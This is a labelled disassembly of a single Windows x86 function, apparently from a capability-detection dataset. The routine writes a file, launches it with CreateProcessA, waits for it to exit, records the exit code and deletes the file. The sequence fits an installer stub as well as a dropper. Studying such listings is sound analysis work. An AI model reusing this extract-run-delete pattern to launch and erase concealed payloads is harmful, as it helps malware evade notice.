Function at 0x409978
Capabilities:
Create process on windows
Delete file

Disassembly:
push ebp
mov ebp, esp
mov ecx, 7
push 0
push 0
dec ecx
jne 0x409980
push ebx
push esi
push edi
mov eax, 0x409920
call fcn.0040494c
xor eax, eax
push ebp
push 0x409c88
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x40a2c0]
xor edx, edx
mov dword [eax], edx
lea eax, [ebp - 0x14]
call fcn.00409790
mov edx, dword [ebp - 0x14]
mov eax, 0x40b914
call fcn.00403a60
xor eax, eax
mov dword [0x40b8b8], eax
xor eax, eax
mov dword [0x40b8bc], eax
mov bl, 1
xor eax, eax
push ebp
push 0x409ad8
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x18]
mov eax, 0x4098d8
call fcn.00404694
mov eax, dword [ebp - 0x18]
push eax
push 0xa
mov ecx, dword [0x40a338]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x408b78]
call fcn.00409430
mov dword [0x40b8b8], eax
lea edx, [ebp - 0x1c]
mov eax, 0x4098e0
call fcn.00404694
mov eax, dword [ebp - 0x1c]
push eax
push 0xa
mov ecx, dword [0x40a338]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x408b78]
call fcn.00409430
mov dword [0x40b8bc], eax
mov dl, 1
mov eax, dword [0x408afc]
call fcn.00403020
mov esi, eax
push 0
push 0
mov edx, dword [0x40b8bc]
mov eax, esi
call fcn.00408e58
xor ecx, ecx
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x14]
xor ecx, ecx
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x14]
mov edx, 0x40b7b0
mov ecx, 0x108
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0xc]
mov eax, esi
call fcn.004092dc
push 0
push 0
mov edx, dword [0x40b8b8]
mov eax, esi
call fcn.00408e58
xor ecx, ecx
xor edx, edx
mov eax, esi
mov edi, dword [eax]
call dword [edi + 0x14]
lea eax, [ebp - 0x24]
mov edx, 0x40b7b0
call fcn.00403c54
mov ecx, dword [ebp - 0x24]
lea eax, [ebp - 0x20]
mov edx, dword [0x40b914]
call fcn.00403cd8
mov edx, dword [ebp - 0x20]
mov eax, esi
call fcn.00409258
mov eax, esi
call fcn.00403050
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x409ae4
xor eax, eax
push ebp
push 0x409c66
push dword fs:[eax]
mov dword fs:[eax], esp
test bl, bl
je 0x409c44
mov eax, 0x40b7a4
xor ecx, ecx
mov edx, 0xc
call fcn.00402ac0
mov dword [0x40b7a4], 0xc
mov dword [0x40b7ac], 0xffffffff
xor eax, eax
mov dword [0x40b7a8], eax
mov eax, 0x40b8c0
xor ecx, ecx
mov edx, 0x44
call fcn.00402ac0
mov dword [0x40b8c0], 0x44
cmp dword [0x40b8b4], 0x8000
jne 0x409b82
push 0x30
lea edx, [ebp - 0x28]
mov eax, 0x4098f0
call fcn.00404694
mov eax, dword [ebp - 0x28]
call fcn.00403de8
push eax
lea edx, [ebp - 0x2c]
mov eax, 0x4098e8
call fcn.00404694
mov eax, dword [ebp - 0x2c]
call fcn.00403de8
push eax
push 0
call sub.user32.dll_MessageBoxA_1
push 0x409ca0
push dword [0x40b914]
lea eax, [ebp - 0x30]
mov edx, 0x40b7b0
call fcn.00403c54
push dword [ebp - 0x30]
mov eax, 0x40b91c
mov edx, 3
call fcn.00403d4c
push 0x40b904
push 0x40b8c0
push 0
push 0
push 0x20
push 0
push 0
push 0
mov eax, dword [0x40b91c]
call fcn.00403de8
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x409c0b
push 0xffffffffffffffff
mov eax, dword [0x40b904]
push eax
call sub.kernel32.dll_WaitForSingleObject
push 0x40b918
mov eax, dword [0x40b904]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [0x40b904]
push eax
call sub.kernel32.dll_CloseHandle
mov eax, dword [0x40b908]
push eax
call sub.kernel32.dll_CloseHandle
lea eax, [ebp - 0x38]
mov edx, 0x40b7b0
call fcn.00403c54
mov ecx, dword [ebp - 0x38]
lea eax, [ebp - 0x34]
mov edx, dword [0x40b914]
call fcn.00403cd8
mov eax, dword [ebp - 0x34]
call fcn.00403de8
push eax
call sub.kernel32.dll_DeleteFileA
mov eax, dword [0x40a2c0]
mov edx, dword [0x40b918]
mov dword [eax], edx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x409c6d
mov eax, dword [0x40b8b8]
call fcn.00403050
mov eax, dword [0x40b8bc]
call fcn.00403050
ret